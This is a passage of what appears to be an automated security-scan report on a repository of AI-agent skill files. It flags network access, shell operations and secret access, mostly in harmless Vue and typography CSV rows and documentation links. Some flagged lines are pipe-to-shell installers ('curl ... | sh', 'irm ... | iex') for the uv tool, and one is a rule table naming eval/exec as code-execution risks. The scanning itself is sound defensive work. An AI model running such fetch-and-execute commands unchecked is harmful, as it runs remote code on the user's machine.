    10,Watchers,Clean up side effects,Return cleanup function in watchers,Return cleanup in watchEffect,Leave subscriptions open,watchEffect((onCleanup) => { onCleanup(unsub) }),watchEffect without cleanup,High, 11,Props,Define props with defin
  • Network accessline 12
    11,Props,Define props with defineProps,Type-safe prop definitions,defineProps with TypeScript,Props without types,defineProps<{ msg: string }>(),defineProps(['msg']),Medium,https://vuejs.org/guide/typescript/composition-api.html#typing-comp
  • Network accessline 13
    12,Props,Use withDefaults for default values,Provide defaults for optional props,withDefaults with defineProps,Defaults in destructuring,"withDefaults(defineProps<Props>(), { count: 0 })",const { count = 0 } = defineProps(),Medium, 13,Props
  • Network accessline 14
    13,Props,Avoid mutating props,Props should be read-only,Emit events to parent for changes,Direct prop mutation,"emit('update:modelValue', newVal)",props.modelValue = newVal,High, 14,Emits,Define emits with defineEmits,Type-safe event emissi
  • Network accessline 15
    14,Emits,Define emits with defineEmits,Type-safe event emissions,defineEmits with types,Emit without definition,defineEmits<{ change: [id: number] }>(),"emit('change', id) without define",Medium,https://vuejs.org/guide/typescript/compositio
  • Network accessline 16
    15,Emits,Use v-model for two-way binding,Simplified parent-child data flow,v-model with modelValue prop,:value + @input manually,"<Child v-model=""value""/>","<Child :value=""value"" @input=""value = $event""/>",Low,https://vuejs.org/guide/
  • Network accessline 17
    16,Lifecycle,Use onMounted for DOM access,DOM is ready in onMounted,onMounted for DOM operations,Access DOM in setup directly,onMounted(() => el.value.focus()),el.value.focus() in setup,High,https://vuejs.org/api/composition-api-lifecycle.h
  • Network accessline 19
    18,Lifecycle,Avoid onBeforeMount for data,Use onMounted or setup for data fetching,Fetch in onMounted or setup,Fetch in onBeforeMount,onMounted(async () => await fetchData()),onBeforeMount(async () => await fetchData()),Low, 19,Components,U
  • Network accessline 20
    19,Components,Use single-file components,Keep template script style together,.vue files for components,Separate template/script files,Component.vue with all parts,Component.js + Component.html,Low, 20,Components,Use PascalCase for component
  • Network accessline 21
    20,Components,Use PascalCase for components,Consistent component naming,PascalCase in imports and templates,kebab-case in script,<MyComponent/>,<my-component/>,Low,https://vuejs.org/style-guide/rules-strongly-recommended.html
  • Network accessline 22
    21,Components,Prefer composition over mixins,Composables replace mixins,Composables for shared logic,Mixins for code reuse,const { data } = useApi(),mixins: [apiMixin],Medium, 22,Composables,Name composables with use prefix,Convention for c
  • Network accessline 23
    22,Composables,Name composables with use prefix,Convention for composable functions,useFetch useAuth useForm,getData or fetchApi,export function useFetch(),export function fetchData(),Medium,https://vuejs.org/guide/reusability/composables.h
  • Network accessline 24
    23,Composables,Return refs from composables,Maintain reactivity when destructuring,Return ref values,Return reactive objects that lose reactivity,return { data: ref(null) },return reactive({ data: null }),Medium, 24,Composables,Accept ref o
  • Network accessline 25
    24,Composables,Accept ref or value params,Use toValue for flexible inputs,toValue() or unref() for params,Only accept ref or only value,const val = toValue(maybeRef),const val = maybeRef.value,Low,https://vuejs.org/api/reactivity-utilities.
  • Network accessline 26
    25,Templates,Use v-bind shorthand,Cleaner template syntax,:prop instead of v-bind:prop,Full v-bind syntax,"<div :class=""cls"">","<div v-bind:class=""cls"">",Low, 26,Templates,Use v-on shorthand,Cleaner event binding,@event instead of v-on:
  • Network accessline 27
    26,Templates,Use v-on shorthand,Cleaner event binding,@event instead of v-on:event,Full v-on syntax,"<button @click=""handler"">","<button v-on:click=""handler"">",Low, 27,Templates,Avoid v-if with v-for,v-if has higher priority causes issu
  • Network accessline 28
    27,Templates,Avoid v-if with v-for,v-if has higher priority causes issues,Wrap in template or computed filter,v-if on same element as v-for,<template v-for><div v-if>,<div v-for v-if>,High,https://vuejs.org/style-guide/rules-essential.html#
  • Network accessline 29
    28,Templates,Use key with v-for,Proper list rendering and updates,Unique key for each item,Index as key for dynamic lists,"v-for=""item in items"" :key=""item.id""","v-for=""(item, i) in items"" :key=""i""",High, 29,State,Use Pinia for glob
  • Network accessline 30
    29,State,Use Pinia for global state,Official state management for Vue 3,Pinia stores for shared state,Vuex for new projects,const store = useCounterStore(),Vuex with mutations,Medium,https://pinia.vuejs.org/
  • Network accessline 31
    30,State,Define stores with defineStore,Composition API style stores,Setup stores with defineStore,Options stores for complex state,"defineStore('counter', () => {})","defineStore('counter', { state })",Low, 31,State,Use storeToRefs for des
  • Network accessline 32
    31,State,Use storeToRefs for destructuring,Maintain reactivity when destructuring,storeToRefs(store),Direct destructuring,const { count } = storeToRefs(store),const { count } = store,High,https://pinia.vuejs.org/core-concepts/#destructuring
  • Network accessline 33
    32,Routing,Use useRouter and useRoute,Composition API router access,useRouter() useRoute() in setup,this.$router this.$route,const router = useRouter(),this.$router.push(),Medium,https://router.vuejs.org/guide/advanced/composition-api.html
  • Network accessline 34
    33,Routing,Lazy load route components,Code splitting for routes,() => import() for components,Static imports for all routes,component: () => import('./Page.vue'),component: Page,Medium,https://router.vuejs.org/guide/advanced/lazy-loading.ht
  • Network accessline 35
    34,Routing,Use navigation guards,Protect routes and handle redirects,beforeEach for auth checks,Check auth in each component,router.beforeEach((to) => {}),Check auth in onMounted,Medium, 35,Performance,Use v-once for static content,Skip re-
  • Network accessline 36
    35,Performance,Use v-once for static content,Skip re-renders for static elements,v-once on never-changing content,v-once on dynamic content,<div v-once>{{ staticText }}</div>,<div v-once>{{ dynamicText }}</div>,Low,https://vuejs.org/api/bui
  • Network accessline 37
    36,Performance,Use v-memo for expensive lists,Memoize list items,v-memo with dependency array,Re-render entire list always,"<div v-for v-memo=""[item.id]"">",<div v-for> without memo,Medium,https://vuejs.org/api/built-in-directives.html#v-m
  • Network accessline 38
    37,Performance,Use shallowReactive for flat objects,Avoid deep reactivity overhead,shallowReactive for flat state,reactive for simple objects,shallowReactive({ count: 0 }),reactive({ count: 0 }),Low, 38,Performance,Use defineAsyncComponent,
  • Network accessline 39
    38,Performance,Use defineAsyncComponent,Lazy load heavy components,defineAsyncComponent for modals dialogs,Import all components eagerly,defineAsyncComponent(() => import()),import HeavyComponent from,Medium,https://vuejs.org/guide/componen
  • Network accessline 40
    39,TypeScript,Use generic components,Type-safe reusable components,Generic with defineComponent,Any types in components,"<script setup lang=""ts"" generic=""T"">",<script setup> without types,Medium,https://vuejs.org/guide/typescript/compos
  • Network accessline 41
    40,TypeScript,Type template refs,Proper typing for DOM refs,ref<HTMLInputElement>(null),ref(null) without type,const input = ref<HTMLInputElement>(null),const input = ref(null),Medium, 41,TypeScript,Use PropType for complex props,Type compl
  • Network accessline 42
    41,TypeScript,Use PropType for complex props,Type complex prop types,PropType<User> for object props,Object without type,type: Object as PropType<User>,type: Object,Medium, 42,Testing,Use Vue Test Utils,Official testing library,mount shallo
  • Network accessline 43
    42,Testing,Use Vue Test Utils,Official testing library,mount shallowMount for components,Manual DOM testing,import { mount } from '@vue/test-utils',document.createElement,Medium,https://test-utils.vuejs.org/
  • Network accessline 44
    43,Testing,Test component behavior,Focus on inputs and outputs,Test props emit and rendered output,Test internal implementation,expect(wrapper.text()).toContain(),expect(wrapper.vm.internalState),Medium, 44,Forms,Use v-model modifiers,Built
  • Network accessline 45
    44,Forms,Use v-model modifiers,Built-in input handling,.lazy .number .trim modifiers,Manual input parsing,"<input v-model.number=""age"">","<input v-model=""age""> then parse",Low,https://vuejs.org/guide/essentials/forms.html#modifiers
  • Network accessline 47
    46,Accessibility,Use semantic elements,Proper HTML elements in templates,button nav main for purpose,div for everything,<button @click>,<div @click>,High, 47,Accessibility,Bind aria attributes dynamically,Keep ARIA in sync with state,":aria
  • Network accessline 48
    47,Accessibility,Bind aria attributes dynamically,Keep ARIA in sync with state,":aria-expanded=""isOpen""",Static ARIA values,":aria-expanded=""menuOpen""","aria-expanded=""true""",Medium, 48,SSR,Use Nuxt for SSR,Full-featured SSR framework
  • Network accessline 49
    48,SSR,Use Nuxt for SSR,Full-featured SSR framework,Nuxt 3 for SSR apps,Manual SSR setup,npx nuxi init my-app,Custom SSR configuration,Medium,https://nuxt.com/

skills/ui-ux-pro-max/data/typography.csv

  • Network accessline 1
    STT,Font Pairing Name,Category,Heading Font,Body Font,Mood/Style Keywords,Best For,Google Fonts URL,CSS Import,Tailwind Config,Notes 1,Classic Elegant,"Serif + Sans",Playfair Display,Inter,"elegant, luxury, sophisticated, timeless, premium,
  • Network accessline 2
    1,Classic Elegant,"Serif + Sans",Playfair Display,Inter,"elegant, luxury, sophisticated, timeless, premium, editorial","Luxury brands, fashion, spa, beauty, editorial, magazines, high-end e-commerce","https://fonts.google.com/share?selectio
  • Network accessline 3
    2,Modern Professional,"Sans + Sans",Poppins,Open Sans,"modern, professional, clean, corporate, friendly, approachable","SaaS, corporate sites, business apps, startups, professional services","https://fonts.google.com/share?selection.family=
  • Network accessline 4
    3,Tech Startup,"Sans + Sans",Space Grotesk,DM Sans,"tech, startup, modern, innovative, bold, futuristic","Tech companies, startups, SaaS, developer tools, AI products","https://fonts.google.com/share?selection.family=DM+Sans:wght@400;500;70
  • Network accessline 5
    4,Editorial Classic,"Serif + Serif",Cormorant Garamond,Libre Baskerville,"editorial, classic, literary, traditional, refined, bookish","Publishing, blogs, news sites, literary magazines, book covers","https://fonts.google.com/share?selectio
  • Network accessline 6
    5,Minimal Swiss,"Sans + Sans",Inter,Inter,"minimal, clean, swiss, functional, neutral, professional","Dashboards, admin panels, documentation, enterprise apps, design systems","https://fonts.google.com/share?selection.family=Inter:wght@300;
  • Network accessline 7
    6,Playful Creative,"Display + Sans",Fredoka,Nunito,"playful, friendly, fun, creative, warm, approachable","Children's apps, educational, gaming, creative tools, entertainment","https://fonts.google.com/share?selection.family=Fredoka:wght@40
  • Network accessline 8
    7,Bold Statement,"Display + Sans",Bebas Neue,Source Sans 3,"bold, impactful, strong, dramatic, modern, headlines","Marketing sites, portfolios, agencies, event pages, sports","https://fonts.google.com/share?selection.family=Bebas+Neue|Sourc
  • Network accessline 9
    8,Wellness Calm,"Serif + Sans",Lora,Raleway,"calm, wellness, health, relaxing, natural, organic","Health apps, wellness, spa, meditation, yoga, organic brands","https://fonts.google.com/share?selection.family=Lora:wght@400;500;600;700|Ralew
  • Network accessline 10
    9,Developer Mono,"Mono + Sans",JetBrains Mono,IBM Plex Sans,"code, developer, technical, precise, functional, hacker","Developer tools, documentation, code editors, tech blogs, CLI apps","https://fonts.google.com/share?selection.family=IBM+
  • Network accessline 11
    10,Retro Vintage,"Display + Serif",Abril Fatface,Merriweather,"retro, vintage, nostalgic, dramatic, decorative, bold","Vintage brands, breweries, restaurants, creative portfolios, posters","https://fonts.google.com/share?selection.family=Ab
  • Network accessline 12
    11,Geometric Modern,"Sans + Sans",Outfit,Work Sans,"geometric, modern, clean, balanced, contemporary, versatile","General purpose, portfolios, agencies, modern brands, landing pages","https://fonts.google.com/share?selection.family=Outfit:w
  • Network accessline 13
    12,Luxury Serif,"Serif + Sans",Cormorant,Montserrat,"luxury, high-end, fashion, elegant, refined, premium","Fashion brands, luxury e-commerce, jewelry, high-end services","https://fonts.google.com/share?selection.family=Cormorant:wght@400;5
  • Network accessline 14
    13,Friendly SaaS,"Sans + Sans",Plus Jakarta Sans,Plus Jakarta Sans,"friendly, modern, saas, clean, approachable, professional","SaaS products, web apps, dashboards, B2B, productivity tools","https://fonts.google.com/share?selection.family=P
  • Network accessline 15
    14,News Editorial,"Serif + Sans",Newsreader,Roboto,"news, editorial, journalism, trustworthy, readable, informative","News sites, blogs, magazines, journalism, content-heavy sites","https://fonts.google.com/share?selection.family=Newsreader
  • Network accessline 16
    15,Handwritten Charm,"Script + Sans",Caveat,Quicksand,"handwritten, personal, friendly, casual, warm, charming","Personal blogs, invitations, creative portfolios, lifestyle brands","https://fonts.google.com/share?selection.family=Caveat:wgh
  • Network accessline 17
    16,Corporate Trust,"Sans + Sans",Lexend,Source Sans 3,"corporate, trustworthy, accessible, readable, professional, clean","Enterprise, government, healthcare, finance, accessibility-focused","https://fonts.google.com/share?selection.family=
  • Network accessline 18
    17,Brutalist Raw,"Mono + Mono",Space Mono,Space Mono,"brutalist, raw, technical, monospace, minimal, stark","Brutalist designs, developer portfolios, experimental, tech art","https://fonts.google.com/share?selection.family=Space+Mono:wght@4
  • Network accessline 19
    18,Fashion Forward,"Sans + Sans",Syne,Manrope,"fashion, avant-garde, creative, bold, artistic, edgy","Fashion brands, creative agencies, art galleries, design studios","https://fonts.google.com/share?selection.family=Manrope:wght@300;400;50
  • Network accessline 20
    19,Soft Rounded,"Sans + Sans",Varela Round,Nunito Sans,"soft, rounded, friendly, approachable, warm, gentle","Children's products, pet apps, friendly brands, wellness, soft UI","https://fonts.google.com/share?selection.family=Nunito+Sans:wg
  • Network accessline 21
    20,Premium Sans,"Sans + Sans",Satoshi,General Sans,"premium, modern, clean, sophisticated, versatile, balanced","Premium brands, modern agencies, SaaS, portfolios, startups","https://fonts.google.com/share?selection.family=DM+Sans:wght@400;
  • Network accessline 22
    21,Vietnamese Friendly,"Sans + Sans",Be Vietnam Pro,Noto Sans,"vietnamese, international, readable, clean, multilingual, accessible","Vietnamese sites, multilingual apps, international products","https://fonts.google.com/share?selection.fam
  • Network accessline 23
    22,Japanese Elegant,"Serif + Sans",Noto Serif JP,Noto Sans JP,"japanese, elegant, traditional, modern, multilingual, readable","Japanese sites, Japanese restaurants, cultural sites, anime/manga","https://fonts.google.com/share?selection.fam
  • Network accessline 24
    23,Korean Modern,"Sans + Sans",Noto Sans KR,Noto Sans KR,"korean, modern, clean, professional, multilingual, readable","Korean sites, K-beauty, K-pop, Korean businesses, multilingual","https://fonts.google.com/share?selection.family=Noto+Sa
  • Network accessline 25
    24,Chinese Traditional,"Serif + Sans",Noto Serif TC,Noto Sans TC,"chinese, traditional, elegant, cultural, multilingual, readable","Traditional Chinese sites, cultural content, Taiwan/Hong Kong markets","https://fonts.google.com/share?selec
  • Network accessline 26
    25,Chinese Simplified,"Sans + Sans",Noto Sans SC,Noto Sans SC,"chinese, simplified, modern, professional, multilingual, readable","Simplified Chinese sites, mainland China market, business apps","https://fonts.google.com/share?selection.fam
  • Network accessline 27
    26,Arabic Elegant,"Serif + Sans",Noto Naskh Arabic,Noto Sans Arabic,"arabic, elegant, traditional, cultural, RTL, readable","Arabic sites, Middle East market, Islamic content, bilingual sites","https://fonts.google.com/share?selection.famil
  • Network accessline 28
    27,Thai Modern,"Sans + Sans",Noto Sans Thai,Noto Sans Thai,"thai, modern, readable, clean, multilingual, accessible","Thai sites, Southeast Asia, tourism, Thai restaurants","https://fonts.google.com/share?selection.family=Noto+Sans+Thai:wgh
  • Network accessline 29
    28,Hebrew Modern,"Sans + Sans",Noto Sans Hebrew,Noto Sans Hebrew,"hebrew, modern, RTL, clean, professional, readable","Hebrew sites, Israeli market, Jewish content, bilingual sites","https://fonts.google.com/share?selection.family=Noto+Sans
  • Network accessline 30
    29,Legal Professional,"Serif + Sans",EB Garamond,Lato,"legal, professional, traditional, trustworthy, formal, authoritative","Law firms, legal services, contracts, formal documents, government","https://fonts.google.com/share?selection.fami
  • Network accessline 31
    30,Medical Clean,"Sans + Sans",Figtree,Noto Sans,"medical, clean, accessible, professional, healthcare, trustworthy","Healthcare, medical clinics, pharma, health apps, accessibility","https://fonts.google.com/share?selection.family=Figtree:
  • Network accessline 32
    31,Financial Trust,"Sans + Sans",IBM Plex Sans,IBM Plex Sans,"financial, trustworthy, professional, corporate, banking, serious","Banks, finance, insurance, investment, fintech, enterprise","https://fonts.google.com/share?selection.family=I
  • Network accessline 33
    32,Real Estate Luxury,"Serif + Sans",Cinzel,Josefin Sans,"real estate, luxury, elegant, sophisticated, property, premium","Real estate, luxury properties, architecture, interior design","https://fonts.google.com/share?selection.family=Cinze
  • Network accessline 34
    33,Restaurant Menu,"Serif + Sans",Playfair Display SC,Karla,"restaurant, menu, culinary, elegant, foodie, hospitality","Restaurants, cafes, food blogs, culinary, hospitality","https://fonts.google.com/share?selection.family=Karla:wght@300;4
  • Network accessline 35
    34,Art Deco,"Display + Sans",Poiret One,Didact Gothic,"art deco, vintage, 1920s, elegant, decorative, gatsby","Vintage events, art deco themes, luxury hotels, classic cocktails","https://fonts.google.com/share?selection.family=Didact+Gothic
  • Network accessline 36
    35,Magazine Style,"Serif + Sans",Libre Bodoni,Public Sans,"magazine, editorial, publishing, refined, journalism, print","Magazines, online publications, editorial content, journalism","https://fonts.google.com/share?selection.family=Libre+B
  • Network accessline 37
    36,Crypto/Web3,"Sans + Sans",Orbitron,Exo 2,"crypto, web3, futuristic, tech, blockchain, digital","Crypto platforms, NFT, blockchain, web3, futuristic tech","https://fonts.google.com/share?selection.family=Exo+2:wght@300;400;500;600;700|Orb
  • Network accessline 38
    37,Gaming Bold,"Display + Sans",Russo One,Chakra Petch,"gaming, bold, action, esports, competitive, energetic","Gaming, esports, action games, competitive sports, entertainment","https://fonts.google.com/share?selection.family=Chakra+Petch:
  • Network accessline 39
    38,Indie/Craft,"Display + Sans",Amatic SC,Cabin,"indie, craft, handmade, artisan, organic, creative","Craft brands, indie products, artisan, handmade, organic products","https://fonts.google.com/share?selection.family=Amatic+SC:wght@400;700
  • Network accessline 40
    39,Startup Bold,"Sans + Sans",Clash Display,Satoshi,"startup, bold, modern, innovative, confident, dynamic","Startups, pitch decks, product launches, bold brands","https://fonts.google.com/share?selection.family=Outfit:wght@400;500;600;700|
  • Network accessline 41
    40,E-commerce Clean,"Sans + Sans",Rubik,Nunito Sans,"ecommerce, clean, shopping, product, retail, conversion","E-commerce, online stores, product pages, retail, shopping","https://fonts.google.com/share?selection.family=Nunito+Sans:wght@300
  • Network accessline 42
    41,Academic/Research,"Serif + Sans",Crimson Pro,Atkinson Hyperlegible,"academic, research, scholarly, accessible, readable, educational","Universities, research papers, academic journals, educational","https://fonts.google.com/share?selecti
  • Network accessline 43
    42,Dashboard Data,"Mono + Sans",Fira Code,Fira Sans,"dashboard, data, analytics, code, technical, precise","Dashboards, analytics, data visualization, admin panels","https://fonts.google.com/share?selection.family=Fira+Code:wght@400;500;600
  • Network accessline 44
    43,Music/Entertainment,"Display + Sans",Righteous,Poppins,"music, entertainment, fun, energetic, bold, performance","Music platforms, entertainment, events, festivals, performers","https://fonts.google.com/share?selection.family=Poppins:wgh
  • Network accessline 45
    44,Minimalist Portfolio,"Sans + Sans",Archivo,Space Grotesk,"minimal, portfolio, designer, creative, clean, artistic","Design portfolios, creative professionals, minimalist brands","https://fonts.google.com/share?selection.family=Archivo:wg
  • Network accessline 46
    45,Kids/Education,"Display + Sans",Baloo 2,Comic Neue,"kids, education, playful, friendly, colorful, learning","Children's apps, educational games, kid-friendly content","https://fonts.google.com/share?selection.family=Baloo+2:wght@400;500;
  • Network accessline 47
    46,Wedding/Romance,"Script + Serif",Great Vibes,Cormorant Infant,"wedding, romance, elegant, script, invitation, feminine","Wedding sites, invitations, romantic brands, bridal","https://fonts.google.com/share?selection.family=Cormorant+Infa
  • Network accessline 48
    47,Science/Tech,"Sans + Sans",Exo,Roboto Mono,"science, technology, research, data, futuristic, precise","Science, research, tech documentation, data-heavy sites","https://fonts.google.com/share?selection.family=Exo:wght@300;400;500;600;700
  • Network accessline 49
    48,Accessibility First,"Sans + Sans",Atkinson Hyperlegible,Atkinson Hyperlegible,"accessible, readable, inclusive, WCAG, dyslexia-friendly, clear","Accessibility-critical sites, government, healthcare, inclusive design","https://fonts.googl
  • Network accessline 50
    49,Sports/Fitness,"Sans + Sans",Barlow Condensed,Barlow,"sports, fitness, athletic, energetic, condensed, action","Sports, fitness, gyms, athletic brands, competition","https://fonts.google.com/share?selection.family=Barlow+Condensed:wght@4
  • Network accessline 51
    50,Luxury Minimalist,"Serif + Sans",Bodoni Moda,Jost,"luxury, minimalist, high-end, sophisticated, refined, premium","Luxury minimalist brands, high-end fashion, premium products","https://fonts.google.com/share?selection.family=Bodoni+Moda
  • Network accessline 52
    51,Tech/HUD Mono,"Mono + Mono",Share Tech Mono,Fira Code,"tech, futuristic, hud, sci-fi, data, monospaced, precise","Sci-fi interfaces, developer tools, cybersecurity, dashboards","https://fonts.google.com/share?selection.family=Fira+Code:w
  • Network accessline 53
    52,Pixel Retro,"Display + Sans",Press Start 2P,VT323,"pixel, retro, gaming, 8-bit, nostalgic, arcade","Pixel art games, retro websites, creative portfolios","https://fonts.google.com/share?selection.family=Press+Start+2P|VT323","@import url
  • Network accessline 54
    53,Neubrutalist Bold,"Display + Sans",Lexend Mega,Public Sans,"bold, neubrutalist, loud, strong, geometric, quirky","Neubrutalist designs, Gen Z brands, bold marketing","https://fonts.google.com/share?selection.family=Lexend+Mega:wght@100..
  • Network accessline 55
    54,Academic/Archival,"Serif + Serif",EB Garamond,Crimson Text,"academic, old-school, university, research, serious, traditional","University sites, archives, research papers, history","https://fonts.google.com/share?selection.family=Crimson
  • Network accessline 56
    55,Spatial Clear,"Sans + Sans",Inter,Inter,"spatial, legible, glass, system, clean, neutral","Spatial computing, AR/VR, glassmorphism interfaces","https://fonts.google.com/share?selection.family=Inter:wght@300;400;500;600","@import url('htt
  • Network accessline 57
    56,Kinetic Motion,"Display + Mono",Syncopate,Space Mono,"kinetic, motion, futuristic, speed, wide, tech","Music festivals, automotive, high-energy brands","https://fonts.google.com/share?selection.family=Space+Mono:wght@400;700|Syncopate:wg
  • Network accessline 58
    57,Gen Z Brutal,"Display + Sans",Anton,Epilogue,"brutal, loud, shouty, meme, internet, bold","Gen Z marketing, streetwear, viral campaigns","https://fonts.google.com/share?selection.family=Anton|Epilogue:wght@400;500;600;700","@import url('

skills/ui-ux-pro-max/data/web-interface.csv

  • Network accessline 18
    17,Performance,Avoid Layout Reads,layout read render getboundingclientrect,Web,Avoid layout reads during render phase,Read layout in effects or callbacks,getBoundingClientRect in render,"useEffect(() => { el.getBoundingClientRect() })","con
  • Network accessline 19
    18,Performance,Batch DOM Operations,batch dom write read,Web,Group DOM operations to minimize reflows,Batch writes then reads,Interleave reads and writes,"writes.forEach(w => w()); reads.forEach(r => r())","write(); read(); write(); read();
  • Network accessline 20
    19,Performance,Preconnect CDN,preconnect link cdn,Web,Add preconnect links for CDN domains,Preconnect to known domains,"<link rel='preconnect' href='https://cdn.example.com' />","// no preconnect hint",Low

skills/ui-ux-pro-max/scripts/core.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/ui-ux-pro-max/scripts/design_system.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/ui-ux-pro-max/scripts/search.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/unity-ecs-patterns/resources/implementation-playbook.md

  • Network accessline 623
    - [Unity DOTS Documentation](https://docs.unity3d.com/Packages/com.unity.entities@latest)
  • Network accessline 624
    - [Unity DOTS Samples](https://github.com/Unity-Technologies/EntityComponentSystemSamples)
  • Network accessline 625
    - [Burst User Guide](https://docs.unity3d.com/Packages/com.unity.burst@latest)

skills/upgrading-expo/SKILL.md

  • Network accessline 2
    name: upgrading-expo description: "Upgrade Expo SDK versions" source: "https://github.com/expo/skills/tree/main/plugins/upgrading-expo"
  • Network accessline 3
    description: "Upgrade Expo SDK versions" source: "https://github.com/expo/skills/tree/main/plugins/upgrading-expo" risk: safe
  • Network accessline 4
    source: "https://github.com/expo/skills/tree/main/plugins/upgrading-expo"
  • Network accessline 118
    For more information, see the [source repository](https://github.com/expo/skills/tree/main/plugins/upgrading-expo).

skills/using-neon/SKILL.md

  • Network accessline 2
    name: using-neon description: "Guides and best practices for working with Neon Serverless Postgres. Covers getting started, local development with Neon, choosing a connection method, Neon features, authentication (@neondatabase/..." source:
  • Network accessline 3
    description: "Guides and best practices for working with Neon Serverless Postgres. Covers getting started, local development with Neon, choosing a connection method, Neon features, authentication (@neondatabase/..." source: "https://github.
  • Network accessline 4
    source: "https://github.com/neondatabase/agent-skills/tree/main/skills/neon-postgres"
  • Network accessline 33
    # Get list of all Neon docs curl https://neon.com/llms.txt
  • Network accessline 34
    curl https://neon.com/llms.txt
  • Network accessline 36
    # Fetch any doc page as markdown curl -H "Accept: text/markdown" https://neon.com/docs/<path>
  • Network accessline 37
    curl -H "Accept: text/markdown" https://neon.com/docs/<path>

skills/uv-package-manager/resources/implementation-playbook.md

  • Network accessline 53
    # macOS/Linux curl -LsSf https://astral.sh/uv/install.sh | sh
  • Dangerous shell operationline 54
    curl -LsSf https://astral.sh/uv/install.sh | sh
  • Network accessline 54
    curl -LsSf https://astral.sh/uv/install.sh | sh
  • Network accessline 56
    # Windows (PowerShell) powershell -c "irm https://astral.sh/uv/install.ps1 | iex"
  • Network accessline 57
    powershell -c "irm https://astral.sh/uv/install.ps1 | iex"
  • Network accessline 65
    # Using cargo (if you have Rust) cargo install --git https://github.com/astral-sh/uv uv
  • Network accessline 66
    cargo install --git https://github.com/astral-sh/uv uv
  • Network accessline 186
    # Add from git uv add git+https://github.com/user/repo.git
  • Network accessline 187
    uv add git+https://github.com/user/repo.git
  • Network accessline 189
    # Add from git with specific ref uv add git+https://github.com/user/repo.git@v1.0.0
  • Network accessline 190
    uv add git+https://github.com/user/repo.git@v1.0.0
  • Network accessline 319
    [tool.uv.sources] # Custom package sources my-package = { git = "https://github.com/user/repo.git" }
  • Network accessline 321
    my-package = { git = "https://github.com/user/repo.git" }
  • Network accessline 599
    # Clone repository git clone https://github.com/user/project.git
  • Network accessline 600
    git clone https://github.com/user/project.git
  • Network accessline 813
    - **Official documentation**: https://docs.astral.sh/uv/
  • Network accessline 814
    - **GitHub repository**: https://github.com/astral-sh/uv
  • Network accessline 815
    - **Astral blog**: https://astral.sh/blog
  • Network accessline 816
    - **Migration guides**: https://docs.astral.sh/uv/guides/
  • Network accessline 817
    - **Comparison with other tools**: https://docs.astral.sh/uv/pip/compatibility/

skills/varlock-claude-skill/SKILL.md

  • Network accessline 2
    name: varlock-claude-skill description: "Secure environment variable management ensuring secrets are never exposed in Claude sessions, terminals, logs, or git commits" source: "https://github.com/wrsmith108/varlock-claude-skill"
  • Network accessline 3
    description: "Secure environment variable management ensuring secrets are never exposed in Claude sessions, terminals, logs, or git commits" source: "https://github.com/wrsmith108/varlock-claude-skill" risk: safe
  • Network accessline 4
    source: "https://github.com/wrsmith108/varlock-claude-skill"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/wrsmith108/varlock-claude-skill).

skills/vector-index-tuning/resources/implementation-playbook.md

  • Network accessline 505
    - [HNSW Paper](https://arxiv.org/abs/1603.09320)
  • Network accessline 506
    - [Faiss Wiki](https://github.com/facebookresearch/faiss/wiki)
  • Network accessline 507
    - [ANN Benchmarks](https://ann-benchmarks.com/)

skills/vercel-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/vercel-deploy-claimable/SKILL.md

  • Network accessline 2
    name: vercel-deploy-claimable description: "Deploy applications and websites to Vercel. Use this skill when the user requests deployment actions such as 'Deploy my app', 'Deploy this to production', 'Create a preview deployment', 'Deploy an
  • Network accessline 3
    description: "Deploy applications and websites to Vercel. Use this skill when the user requests deployment actions such as 'Deploy my app', 'Deploy this to production', 'Create a preview deployment', 'Deploy and..." source: "https://github.
  • Network accessline 4
    source: "https://github.com/vercel-labs/agent-skills/tree/main/skills/claude.ai/vercel-deploy-claimable"
  • Network accessline 61
    Preview URL: https://skill-deploy-abc123.vercel.app
  • Network accessline 62
    Claim URL:   https://vercel.com/claim-deployment?code=...
  • Network accessline 68
    {   "previewUrl": "https://skill-deploy-abc123.vercel.app",
  • Network accessline 69
    "previewUrl": "https://skill-deploy-abc123.vercel.app",
  • Network accessline 70
    "claimUrl": "https://vercel.com/claim-deployment?code=...",
  • Network accessline 104
    Preview URL: https://skill-deploy-abc123.vercel.app
  • Network accessline 105
    Claim URL:   https://vercel.com/claim-deployment?code=...
  • Network accessline 120
    1. Go to https://claude.ai/settings/capabilities

skills/vexor/SKILL.md

  • Network accessline 2
    name: vexor description: "Vector-powered CLI for semantic file search with a Claude/Codex skill" source: "https://github.com/scarletkc/vexor"
  • Network accessline 3
    description: "Vector-powered CLI for semantic file search with a Claude/Codex skill" source: "https://github.com/scarletkc/vexor" risk: safe
  • Network accessline 4
    source: "https://github.com/scarletkc/vexor"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/scarletkc/vexor).

skills/voice-ai-development/SKILL.md

  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]
  • Access to secretsline 196
    [Credential-related source omitted]
  • Access to secretsline 229
    [Credential-related source omitted]

skills/voice-ai-engine-development/README.md

  • Network accessline 168
    - [Vocode Documentation](https://docs.vocode.dev/)
  • Network accessline 169
    - [Deepgram API](https://developers.deepgram.com/)
  • Network accessline 170
    - [OpenAI API](https://platform.openai.com/docs/)
  • Network accessline 171
    - [ElevenLabs API](https://elevenlabs.io/docs/)

skills/voice-ai-engine-development/examples/complete_voice_engine.py

  • Executable scriptline 1
    Executable file

skills/voice-ai-engine-development/examples/gemini_agent_example.py

  • Executable scriptline 1
    Executable file

skills/voice-ai-engine-development/examples/interrupt_system_example.py

  • Executable scriptline 1
    Executable file

skills/voice-ai-engine-development/templates/base_worker_template.py

  • Executable scriptline 1
    Executable file

skills/voice-ai-engine-development/templates/multi_provider_factory_template.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Access to secretsline 204
    [Credential-related source omitted]
  • Access to secretsline 224
    [Credential-related source omitted]

skills/vulnerability-scanner/SKILL.md

  • Broad permissionsline 1
    Read, Glob, Grep, Bash
  • Dangerous shell operationline 207
    | **Dynamic code execution** | RCE | `eval()`, `exec()`, `Function()` |
  • Access to secretsline 216
    [Credential-related source omitted]

skills/vulnerability-scanner/checklists.md

  • Dangerous shell operationline 25
